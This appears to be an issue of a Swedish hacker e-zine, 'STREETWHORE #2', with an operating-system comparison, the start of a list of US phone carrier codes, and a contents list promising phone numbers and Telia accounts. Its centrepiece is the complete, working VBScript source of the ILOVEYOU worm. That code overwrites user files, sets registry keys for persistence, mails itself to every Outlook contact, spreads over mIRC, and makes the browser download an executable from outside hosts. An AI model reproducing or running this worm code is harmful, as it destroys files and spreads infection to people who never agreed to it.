1057 lines
37 KiB
Plaintext
1057 lines
37 KiB
Plaintext
|
http://www.teliasuger.com ---> Sidan kommer se ut s<> h<>r tills all grafik <20>r klar.
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
teliasuger.com och streetwh0reproductions inc presenterar...
|
|||
|
|
|
|||
|
|
|
|||
|
|
" S T R E E T W H O R E "
|
|||
|
|
#2
|
|||
|
|
|
|||
|
|
|
|||
|
|
-------------->
|
|||
|
|
INNEH<EFBFBD>LL
|
|||
|
|
-------------->
|
|||
|
|
|
|||
|
|
--------------------------------------------------------------->
|
|||
|
|
1.0 Test av BeOS,Linux,MacOS,Win98 och Windows2000.
|
|||
|
|
--------------------------------------------------------------->
|
|||
|
|
2.0 K<>ll koden till "LOVE-LETTER-FOR-YOU.TXT.vbs"
|
|||
|
|
--------------------------------------------------------------->
|
|||
|
|
3.0 Namn och f<>rkortningar p<> Amerikanska telefon bolag.
|
|||
|
|
--------------------------------------------------------------->
|
|||
|
|
4.0 Fax/telefon nummer och web adresser till f<>retag.
|
|||
|
|
--------------------------------------------------------------->
|
|||
|
|
5.0 Riktnummer till hela USA samt telefon operat<61>ren som <20>ger nummret.
|
|||
|
|
--------------------------------------------------------------->
|
|||
|
|
6.0 \/\The Conscience of a Hacker/\/
|
|||
|
|
--------------------------------------------------------------->
|
|||
|
|
7.0 Telia Konton.
|
|||
|
|
--------------------------------------------------------------->
|
|||
|
|
8.0 Slutord.
|
|||
|
|
--------------------------------------------------------------->
|
|||
|
|
|
|||
|
|
--------------------------------------------------------------------------------------------------->
|
|||
|
|
1.0 Test av BeOS,Linux,Mac OS,Windows98 och Windows 2000.
|
|||
|
|
--------------------------------------------------------------------------------------------------->
|
|||
|
|
|
|||
|
|
---------------->
|
|||
|
|
Leverant<EFBFBD>r[1]:
|
|||
|
|
---------------->
|
|||
|
|
Pris[2]:
|
|||
|
|
---------------->
|
|||
|
|
Pris/Uppgradering[3]:
|
|||
|
|
---------------->
|
|||
|
|
<EFBFBD>versatt till svenska[4]:
|
|||
|
|
---------------->
|
|||
|
|
Minneskrav[5]:
|
|||
|
|
---------------->
|
|||
|
|
Usb st<73>d[6]:
|
|||
|
|
---------------->
|
|||
|
|
Str<EFBFBD>msparfunktioner[7]:
|
|||
|
|
---------------->
|
|||
|
|
St<EFBFBD>d f<>r flera sk<73>rmar[8]:
|
|||
|
|
---------------->
|
|||
|
|
Operativsystem multik<69>rning[9]:
|
|||
|
|
---------------->
|
|||
|
|
Program kan delas in i tr<74>dar[10]:
|
|||
|
|
---------------->
|
|||
|
|
Kan anv<6E>nda mer <20>n en processor[11]:
|
|||
|
|
---------------->
|
|||
|
|
F<EFBFBD>rdelar[12]:
|
|||
|
|
---------------->
|
|||
|
|
Nackdelar[13]:
|
|||
|
|
---------------->
|
|||
|
|
|
|||
|
|
-------------------------------------------------------------------------------------------------------------------------->
|
|||
|
|
|
|||
|
|
-------------------------->
|
|||
|
|
BeOS 5.0 Personal Edition
|
|||
|
|
-------------------------->
|
|||
|
|
--->
|
|||
|
|
[1] = www.be.com
|
|||
|
|
--->
|
|||
|
|
[2] = Gratis
|
|||
|
|
--->
|
|||
|
|
[3] = N/A.
|
|||
|
|
--->
|
|||
|
|
[4] = Nej
|
|||
|
|
--->
|
|||
|
|
[5] = 32
|
|||
|
|
--->
|
|||
|
|
[6] = Ja
|
|||
|
|
--->
|
|||
|
|
[7] = Nej
|
|||
|
|
--->
|
|||
|
|
[8] = Nej
|
|||
|
|
--->
|
|||
|
|
[9] = Ja
|
|||
|
|
--->
|
|||
|
|
[10] = Ja
|
|||
|
|
--->
|
|||
|
|
[11] = Ja
|
|||
|
|
--->
|
|||
|
|
[12] = Mycket snabbt, l<>g f<>rdr<64>jning. L<>mpar sig f<>r realtidstill<6C>mpningar som audio och video. L<>tt ocks<6B> att installera.
|
|||
|
|
--->
|
|||
|
|
[13] = F<>rvarande s<> finns det extremt lite program f<>r BeOS. Systemet saknar ocks<6B> "str<74>msparfunktioner".
|
|||
|
|
--->
|
|||
|
|
Slutpo<EFBFBD>ng: 8/10
|
|||
|
|
-------------------------------------------------------------------------------------------------------------------------->
|
|||
|
|
|
|||
|
|
-------------------------->
|
|||
|
|
Mac OS 9
|
|||
|
|
-------------------------->
|
|||
|
|
--->
|
|||
|
|
[1] = Apple.
|
|||
|
|
--->
|
|||
|
|
[2] = Ing<6E>r vid datork<72>p.
|
|||
|
|
--->
|
|||
|
|
[3] = 1000kr
|
|||
|
|
--->
|
|||
|
|
[4] = Ja
|
|||
|
|
--->
|
|||
|
|
[5] = 16
|
|||
|
|
--->
|
|||
|
|
[6] = Ja
|
|||
|
|
--->
|
|||
|
|
[7] = Ja
|
|||
|
|
--->
|
|||
|
|
[8] = Ja
|
|||
|
|
--->
|
|||
|
|
[9] = Nej
|
|||
|
|
--->
|
|||
|
|
[10] = Nej
|
|||
|
|
--->
|
|||
|
|
[11] = Nej
|
|||
|
|
--->
|
|||
|
|
[12] = Genom t<>nkt, bra anv<6E>ndargr<67>nssnitt, helt p<> svenska. V<>ldigt bra program utbud.
|
|||
|
|
--->
|
|||
|
|
[13] = G<>r endast att k<>ra p<> Apples datorer. Finns ocks<6B> brister i multik<69>rning och minnesskydd.
|
|||
|
|
--->
|
|||
|
|
Slutpo<EFBFBD>ng: 6/10
|
|||
|
|
-------------------------------------------------------------------------------------------------------------------------->
|
|||
|
|
|
|||
|
|
-------------------------->
|
|||
|
|
Red Hat Linux 6.2 Deluxe
|
|||
|
|
-------------------------->
|
|||
|
|
--->
|
|||
|
|
[1] = Linuxbutiken
|
|||
|
|
--->
|
|||
|
|
[2] = 600Kr
|
|||
|
|
--->
|
|||
|
|
[3] = N/A
|
|||
|
|
--->
|
|||
|
|
[4] = Endast vissa delar.
|
|||
|
|
--->
|
|||
|
|
[5] = 16
|
|||
|
|
--->
|
|||
|
|
[6] = Nej
|
|||
|
|
--->
|
|||
|
|
[7] = Ja
|
|||
|
|
--->
|
|||
|
|
[8] = Nej
|
|||
|
|
--->
|
|||
|
|
[9] = Ja
|
|||
|
|
--->
|
|||
|
|
[10] = Ja
|
|||
|
|
--->
|
|||
|
|
[11] = Ja
|
|||
|
|
--->
|
|||
|
|
[12] = Snabbt, Bra p<> multik<69>rning till ett l<>gt pris.
|
|||
|
|
--->
|
|||
|
|
[13] = Hopplock av programmoduler fr<66>n olika tillverkare ger inkonsekvent anv<6E>ndargr<67>nssnitt och luckor i funktionaliteten.
|
|||
|
|
--->
|
|||
|
|
Slutpo<EFBFBD>ng: 7/10
|
|||
|
|
-------------------------------------------------------------------------------------------------------------------------->
|
|||
|
|
|
|||
|
|
-------------------------->
|
|||
|
|
Windows 98
|
|||
|
|
-------------------------->
|
|||
|
|
--->
|
|||
|
|
[1] = Microsoft
|
|||
|
|
--->
|
|||
|
|
[2] = 1500kr
|
|||
|
|
--->
|
|||
|
|
[3] = 900kr
|
|||
|
|
--->
|
|||
|
|
[4] = Ja
|
|||
|
|
--->
|
|||
|
|
[5] = 16
|
|||
|
|
--->
|
|||
|
|
[6] = Ja
|
|||
|
|
--->
|
|||
|
|
[7] = Ja
|
|||
|
|
--->
|
|||
|
|
[8] = Ja
|
|||
|
|
--->
|
|||
|
|
[9] = Ja
|
|||
|
|
--->
|
|||
|
|
[10] = Ja
|
|||
|
|
--->
|
|||
|
|
[11] = Nej
|
|||
|
|
--->
|
|||
|
|
[12] = Enormt program utbud. Genomt<6D>nkt, bra anv<6E>ndargr<67>nssnitt, helt p<> svenska. Helt<6C>ckande tillg<6C>ng till drivrutiner.
|
|||
|
|
--->
|
|||
|
|
[13] = D<>ligt minnesskydd, mindre bra f<>r realtidstill<6C>mpningar p<> grund av f<>rdr<64>jningar.
|
|||
|
|
--->
|
|||
|
|
Slutpo<EFBFBD>ng: 8/10
|
|||
|
|
-------------------------------------------------------------------------------------------------------------------------->
|
|||
|
|
|
|||
|
|
-------------------------->
|
|||
|
|
Windows 2000
|
|||
|
|
-------------------------->
|
|||
|
|
--->
|
|||
|
|
[1] = Microsoft
|
|||
|
|
--->
|
|||
|
|
[2] = 3000kr
|
|||
|
|
--->
|
|||
|
|
[3] = 1200kr
|
|||
|
|
--->
|
|||
|
|
[4] = Ja
|
|||
|
|
--->
|
|||
|
|
[5] = 32
|
|||
|
|
--->
|
|||
|
|
[6] = Ja
|
|||
|
|
--->
|
|||
|
|
[7] = Ja
|
|||
|
|
--->
|
|||
|
|
[8] = Ja
|
|||
|
|
--->
|
|||
|
|
[9] = Ja
|
|||
|
|
--->
|
|||
|
|
[10] = Ja
|
|||
|
|
--->
|
|||
|
|
[11] = Ja
|
|||
|
|
--->
|
|||
|
|
[12] = Enormt program utbud. Utm<74>rkt genomt<6D>nkt, bra anv<6E>ndargr<67>nssnitt, helt p<> svenska.
|
|||
|
|
--->
|
|||
|
|
[13] = Ganska h<>rdvarukr<6B>vande. Inte lika bra h<>rdvaru st<73>d som Windows98. Realtivt h<>gt pris.
|
|||
|
|
--->
|
|||
|
|
Slutpo<EFBFBD>ng: 10/10
|
|||
|
|
-------------------------------------------------------------------------------------------------------------------------->
|
|||
|
|
Written and tested by: sysedit
|
|||
|
|
|
|||
|
|
|
|||
|
|
-------------------------------------------------------------------------------------------------------------------------->
|
|||
|
|
2.0 K<>ll koden till "LOVE-LETTER-FOR-YOU.TXT.vbs"
|
|||
|
|
-------------------------------------------------------------------------------------------------------------------------->
|
|||
|
|
|
|||
|
|
On Error Resume Next
|
|||
|
|
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
|
|||
|
|
eq=""
|
|||
|
|
ctr=0
|
|||
|
|
Set fso = CreateObject("Scripting.FileSystemObject")
|
|||
|
|
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
|
|||
|
|
vbscopy=file.ReadAll
|
|||
|
|
main()
|
|||
|
|
sub main()
|
|||
|
|
On Error Resume Next
|
|||
|
|
dim wscr,rr
|
|||
|
|
set wscr=CreateObject("WScript.Shell")
|
|||
|
|
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
|
|||
|
|
if (rr> =1) then
|
|||
|
|
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
|
|||
|
|
end if
|
|||
|
|
Set dirwin = fso.GetSpecialFolder(0)
|
|||
|
|
Set dirsystem = fso.GetSpecialFolder(1)
|
|||
|
|
Set dirtemp = fso.GetSpecialFolder(2)
|
|||
|
|
Set c = fso.GetFile(WScript.ScriptFullName)
|
|||
|
|
c.Copy(dirsystem&"\MSKernel32.vbs")
|
|||
|
|
c.Copy(dirwin&"\Win32DLL.vbs")
|
|||
|
|
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
|
|||
|
|
regruns()
|
|||
|
|
html()
|
|||
|
|
spreadtoemail()
|
|||
|
|
listadriv()
|
|||
|
|
end sub
|
|||
|
|
sub regruns()
|
|||
|
|
On Error Resume Next
|
|||
|
|
Dim num,downread
|
|||
|
|
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKerne
|
|||
|
|
l32.vbs"
|
|||
|
|
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win3
|
|||
|
|
2DLL.vbs"
|
|||
|
|
downread=""
|
|||
|
|
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet
|
|||
|
|
Explorer\Download Directory")
|
|||
|
|
if (downread="") then
|
|||
|
|
downread="c:\"
|
|||
|
|
end if
|
|||
|
|
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
|
|||
|
|
Randomize
|
|||
|
|
num = Int((4 * Rnd) + 1)
|
|||
|
|
if num = 1 then
|
|||
|
|
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
|
|||
|
|
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njb
|
|||
|
|
vYT/WIN-BUGSFIX.exe"
|
|||
|
|
elseif num = 2 then
|
|||
|
|
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
|
|||
|
|
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbv
|
|||
|
|
bmKLJKjhkqj4w/WIN-BUGSFIX.exe"
|
|||
|
|
elseif num = 3 then
|
|||
|
|
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
|
|||
|
|
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-
|
|||
|
|
BUGSFIX.exe"
|
|||
|
|
elseif num = 4 then
|
|||
|
|
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
|
|||
|
|
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdg
|
|||
|
|
lkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
|
|||
|
|
end if
|
|||
|
|
end if
|
|||
|
|
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
|
|||
|
|
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUG
|
|||
|
|
SFIX.exe"
|
|||
|
|
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
|
|||
|
|
end if
|
|||
|
|
end sub
|
|||
|
|
sub listadriv
|
|||
|
|
On Error Resume Next
|
|||
|
|
Dim d,dc,s
|
|||
|
|
Set dc = fso.Drives
|
|||
|
|
For Each d in dc
|
|||
|
|
If d.DriveType = 2 or d.DriveType=3 Then
|
|||
|
|
folderlist(d.path&"\")
|
|||
|
|
end if
|
|||
|
|
Next
|
|||
|
|
listadriv = s
|
|||
|
|
end sub
|
|||
|
|
sub infectfiles(folderspec)
|
|||
|
|
On Error Resume Next
|
|||
|
|
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
|
|||
|
|
set f = fso.GetFolder(folderspec)
|
|||
|
|
set fc = f.Files
|
|||
|
|
for each f1 in fc
|
|||
|
|
ext=fso.GetExtensionName(f1.path)
|
|||
|
|
ext=lcase(ext)
|
|||
|
|
s=lcase(f1.name)
|
|||
|
|
if (ext="vbs") or (ext="vbe") then
|
|||
|
|
set ap=fso.OpenTextFile(f1.path,2,true)
|
|||
|
|
ap.write vbscopy
|
|||
|
|
ap.close
|
|||
|
|
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")
|
|||
|
|
or (ext="hta") then
|
|||
|
|
set ap=fso.OpenTextFile(f1.path,2,true)
|
|||
|
|
ap.write vbscopy
|
|||
|
|
ap.close
|
|||
|
|
bname=fso.GetBaseName(f1.path)
|
|||
|
|
set cop=fso.GetFile(f1.path)
|
|||
|
|
cop.copy(folderspec&"\"&bname&".vbs")
|
|||
|
|
fso.DeleteFile(f1.path)
|
|||
|
|
elseif(ext="jpg") or (ext="jpeg") then
|
|||
|
|
set ap=fso.OpenTextFile(f1.path,2,true)
|
|||
|
|
ap.write vbscopy
|
|||
|
|
ap.close
|
|||
|
|
set cop=fso.GetFile(f1.path)
|
|||
|
|
cop.copy(f1.path&".vbs")
|
|||
|
|
fso.DeleteFile(f1.path)
|
|||
|
|
elseif(ext="mp3") or (ext="mp2") then
|
|||
|
|
set mp3=fso.CreateTextFile(f1.path&".vbs")
|
|||
|
|
mp3.write vbscopy
|
|||
|
|
mp3.close
|
|||
|
|
set att=fso.GetFile(f1.path)
|
|||
|
|
att.attributes=att.attributes+2
|
|||
|
|
end if
|
|||
|
|
if (eq <> folderspec) then
|
|||
|
|
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or
|
|||
|
|
(s="script.ini") or (s="mirc.hlp") then
|
|||
|
|
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
|
|||
|
|
scriptini.WriteLine "[script]"
|
|||
|
|
scriptini.WriteLine ";mIRC Script"
|
|||
|
|
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,
|
|||
|
|
if mIRC will"
|
|||
|
|
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
|
|||
|
|
correctly. thanks"
|
|||
|
|
scriptini.WriteLine ";"
|
|||
|
|
scriptini.WriteLine ";Khaled Mardam-Bey"
|
|||
|
|
scriptini.WriteLine ";http://www.mirc.com"
|
|||
|
|
scriptini.WriteLine ";"
|
|||
|
|
scriptini.WriteLine "n0=on 1:JOIN:#:{"
|
|||
|
|
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
|
|||
|
|
scriptini.WriteLine "n2= /.dcc send $nick
|
|||
|
|
"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
|
|||
|
|
scriptini.WriteLine "n3=}"
|
|||
|
|
scriptini.close
|
|||
|
|
eq=folderspec
|
|||
|
|
end if
|
|||
|
|
end if
|
|||
|
|
next
|
|||
|
|
end sub
|
|||
|
|
sub folderlist(folderspec)
|
|||
|
|
On Error Resume Next
|
|||
|
|
dim f,f1,sf
|
|||
|
|
set f = fso.GetFolder(folderspec)
|
|||
|
|
set sf = f.SubFolders
|
|||
|
|
for each f1 in sf
|
|||
|
|
infectfiles(f1.path)
|
|||
|
|
folderlist(f1.path)
|
|||
|
|
next
|
|||
|
|
end sub
|
|||
|
|
sub regcreate(regkey,regvalue)
|
|||
|
|
Set regedit = CreateObject("WScript.Shell")
|
|||
|
|
regedit.RegWrite regkey,regvalue
|
|||
|
|
end sub
|
|||
|
|
function regget(value)
|
|||
|
|
Set regedit = CreateObject("WScript.Shell")
|
|||
|
|
regget=regedit.RegRead(value)
|
|||
|
|
end function
|
|||
|
|
function fileexist(filespec)
|
|||
|
|
On Error Resume Next
|
|||
|
|
dim msg
|
|||
|
|
if (fso.FileExists(filespec)) Then
|
|||
|
|
msg = 0
|
|||
|
|
else
|
|||
|
|
msg = 1
|
|||
|
|
end if
|
|||
|
|
fileexist = msg
|
|||
|
|
end function
|
|||
|
|
function folderexist(folderspec)
|
|||
|
|
On Error Resume Next
|
|||
|
|
dim msg
|
|||
|
|
if (fso.GetFolderExists(folderspec)) then
|
|||
|
|
msg = 0
|
|||
|
|
else
|
|||
|
|
msg = 1
|
|||
|
|
end if
|
|||
|
|
fileexist = msg
|
|||
|
|
end function
|
|||
|
|
sub spreadtoemail()
|
|||
|
|
On Error Resume Next
|
|||
|
|
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
|
|||
|
|
set regedit=CreateObject("WScript.Shell")
|
|||
|
|
set out=WScript.CreateObject("Outlook.Application")
|
|||
|
|
set mapi=out.GetNameSpace("MAPI")
|
|||
|
|
for ctrlists=1 to mapi.AddressLists.Count
|
|||
|
|
set a=mapi.AddressLists(ctrlists)
|
|||
|
|
x=1
|
|||
|
|
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
|
|||
|
|
if (regv="") then
|
|||
|
|
regv=1
|
|||
|
|
end if
|
|||
|
|
if (int(a.AddressEntries.Count)> int(regv)) then
|
|||
|
|
for ctrentries=1 to a.AddressEntries.Count
|
|||
|
|
malead=a.AddressEntries(x)
|
|||
|
|
regad=""
|
|||
|
|
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
|
|||
|
|
if (regad="") then
|
|||
|
|
set male=out.CreateItem(0)
|
|||
|
|
male.Recipients.Add(malead)
|
|||
|
|
male.Subject = "ILOVEYOU"
|
|||
|
|
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
|
|||
|
|
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
|
|||
|
|
male.Send
|
|||
|
|
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
|
|||
|
|
end if
|
|||
|
|
x=x+1
|
|||
|
|
next
|
|||
|
|
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
|
|||
|
|
else
|
|||
|
|
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
|
|||
|
|
end if
|
|||
|
|
next
|
|||
|
|
Set out=Nothing
|
|||
|
|
Set mapi=Nothing
|
|||
|
|
end sub
|
|||
|
|
sub html
|
|||
|
|
On Error Resume Next
|
|||
|
|
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
|
|||
|
|
dta1=" <HTML> <HEAD> <TITLE> LOVELETTER - HTML <?-?TITLE> <META
|
|||
|
|
NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@> "&vbcrlf& _
|
|||
|
|
" <META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?
|
|||
|
|
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@> "&vbcrlf& _
|
|||
|
|
" <META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is
|
|||
|
|
good...@-@> "&vbcrlf& _
|
|||
|
|
" <?-?HEAD> <BODY
|
|||
|
|
ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@
|
|||
|
|
"&vbcrlf& _
|
|||
|
|
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@
|
|||
|
|
BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@> "&vbcrlf& _
|
|||
|
|
" <CENTER> <p> This HTML file need ActiveX Control <?-?p> <p> To Enable to read
|
|||
|
|
this HTML file <BR> - Please press #-#YES#-# button to Enable
|
|||
|
|
ActiveX <?-?p> "&vbcrlf& _
|
|||
|
|
" <?-?CENTER> <MARQUEE LOOP=@-@infinite@-@
|
|||
|
|
BGCOLOR=@-@yellow@-@> ----------z--------------------z---------- <?-?MARQUEE>
|
|||
|
|
"&vbcrlf& _
|
|||
|
|
" <?-?BODY> <?-?HTML> "&vbcrlf& _
|
|||
|
|
" <SCRIPT language=@-@JScript@-@> "&vbcrlf& _
|
|||
|
|
" <!--?-??-?"&vbcrlf& _
|
|||
|
|
"if (window.screen){var wi=screen.availWidth;var
|
|||
|
|
hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
|
|||
|
|
"?-??-?--> "&vbcrlf& _
|
|||
|
|
" <?-?SCRIPT> "&vbcrlf& _
|
|||
|
|
" <SCRIPT LANGUAGE=@-@VBScript@-@> "&vbcrlf& _
|
|||
|
|
" <!--"&vbcrlf& _
|
|||
|
|
"on error resume next"&vbcrlf& _
|
|||
|
|
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
|
|||
|
|
"aw=1"&vbcrlf& _
|
|||
|
|
"code="
|
|||
|
|
dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
|
|||
|
|
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
|
|||
|
|
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
|
|||
|
|
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
|
|||
|
|
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
|
|||
|
|
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
|
|||
|
|
"wri.write code4"&vbcrlf& _
|
|||
|
|
"wri.close"&vbcrlf& _
|
|||
|
|
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
|
|||
|
|
"if (err.number=424) then"&vbcrlf& _
|
|||
|
|
"aw=0"&vbcrlf& _
|
|||
|
|
"end if"&vbcrlf& _
|
|||
|
|
"if (aw=1) then"&vbcrlf& _
|
|||
|
|
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
|
|||
|
|
"window.close"&vbcrlf& _
|
|||
|
|
"end if"&vbcrlf& _
|
|||
|
|
"end if"&vbcrlf& _
|
|||
|
|
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
|
|||
|
|
"regedit.RegWrite
|
|||
|
|
@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dir
|
|||
|
|
system&@-@^-^MSKernel32.vbs@-@"&vbcrlf&
|
|||
|
|
_
|
|||
|
|
"?-??-?--> "&vbcrlf& _
|
|||
|
|
" <?-?SCRIPT> "
|
|||
|
|
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
|
|||
|
|
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
|
|||
|
|
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
|
|||
|
|
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
|
|||
|
|
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
|
|||
|
|
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
|
|||
|
|
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
|
|||
|
|
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
|
|||
|
|
set fso=CreateObject("Scripting.FileSystemObject")
|
|||
|
|
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
|
|||
|
|
lines=Split(c.ReadAll,vbcrlf)
|
|||
|
|
l1=ubound(lines)
|
|||
|
|
for n=0 to ubound(lines)
|
|||
|
|
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
|
|||
|
|
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
|
|||
|
|
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
|
|||
|
|
if (l1=n) then
|
|||
|
|
lines(n)=chr(34)+lines(n)+chr(34)
|
|||
|
|
else
|
|||
|
|
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
|
|||
|
|
end if
|
|||
|
|
next
|
|||
|
|
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
|
|||
|
|
b.close
|
|||
|
|
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
|
|||
|
|
d.write dt5
|
|||
|
|
d.write join(lines,vbcrlf)
|
|||
|
|
d.write vbcrlf
|
|||
|
|
d.write dt6
|
|||
|
|
d.close
|
|||
|
|
end sub
|
|||
|
|
Input by: sysedit
|
|||
|
|
-------------------------------------------------------------------------------------------------------------------------->
|
|||
|
|
3.0 Namn och f<>rkortningar p<> Amerikanska telefon bolag. (j<>mf<6D>r med listan p<> 5.0)
|
|||
|
|
-------------------------------------------------------------------------------------------------------------------------->
|
|||
|
|
|
|||
|
|
ADG - Advantage Network, Inc. AGN - AMRIGON
|
|||
|
|
ALG - Allnet Communication Services AMM - Access Long Distance
|
|||
|
|
AAM - ALASCOM ARE - American Express TRS
|
|||
|
|
ARZ - AmeriCall Corporation (Calif.) ATC - Action Telecom Co.
|
|||
|
|
ATX - AT&T BML - Phone America
|
|||
|
|
BUR - Burlington Tel. CAB - Hedges Communications
|
|||
|
|
CAN - Telcom Canada CNO - COMTEL of New Orleans
|
|||
|
|
CQU - ConQuest Comm. Corp CSY - COM Systems
|
|||
|
|
CUX - Compu-Tel Inc. CYT - ClayDesta Communications
|
|||
|
|
DCT - Direct Communications, Inc. DLT - Delta Communications, Inc.
|
|||
|
|
EDS - Electronic Data Systems Corp. ETS - Eastern Telephone Systems, Inc.
|
|||
|
|
EXF - Execulines of Florida, Inc. FDG - First Digital Network
|
|||
|
|
FDN - Florida Digital Network FDT - Friend Technologies
|
|||
|
|
FST - First Data Resources GCN - General Communications, Inc.
|
|||
|
|
GTS - Telenet Comm. Corp. HNI - Houston Network, Inc.
|
|||
|
|
ITT - United States Transmission System LDD - LDDS-II, Inc.
|
|||
|
|
LDL - Long Distance for Less LGT - LITEL
|
|||
|
|
LNS - Lintel Systems LSI - Long Distance Savers
|
|||
|
|
LTQ - Long Distance for Less MAL - MIDAMERICAN
|
|||
|
|
MCI - MCI Telecommunications Corp. MDE - Meade Associates
|
|||
|
|
MEC - Mercury, Inc. MIC - Microtel, Inc.
|
|||
|
|
MIT - Midco Communications MTD - Metromedia Long Distance
|
|||
|
|
NLD - National Data Corp. NTK - Network Telemanagement Svcs.
|
|||
|
|
NTS - NTS Communications ONC - OMNICALL, Inc.
|
|||
|
|
ONE - One Call Communications, Inc. PHE - Phone Mail, Inc.
|
|||
|
|
PLG - Pilgrim Telephone Co. PRO - PROTO-COL
|
|||
|
|
RBW - R-Comm RTC - RCI Corporation
|
|||
|
|
SAN - Satelco SCH - Schneider Communications
|
|||
|
|
SDY - TELVUE Corp. SIR - Southern Interexchange Services
|
|||
|
|
SLS - Southland Systems, Inc. SNH - Sunshine Telephone Co.
|
|||
|
|
SNT - SouthernNet, Inc. SOC - State of California
|
|||
|
|
TBQ - Telecable Corp. TDD - Teleconnect
|
|||
|
|
TDX - Cable & Wireless Comm. TED - TeleDial America
|
|||
|
|
TEM - Telesystems, Inc. TEN - Telesphere Network, Inc.
|
|||
|
|
TET - Teltec Savings Communications Co TGN - Telemanagement Consult't Corp.
|
|||
|
|
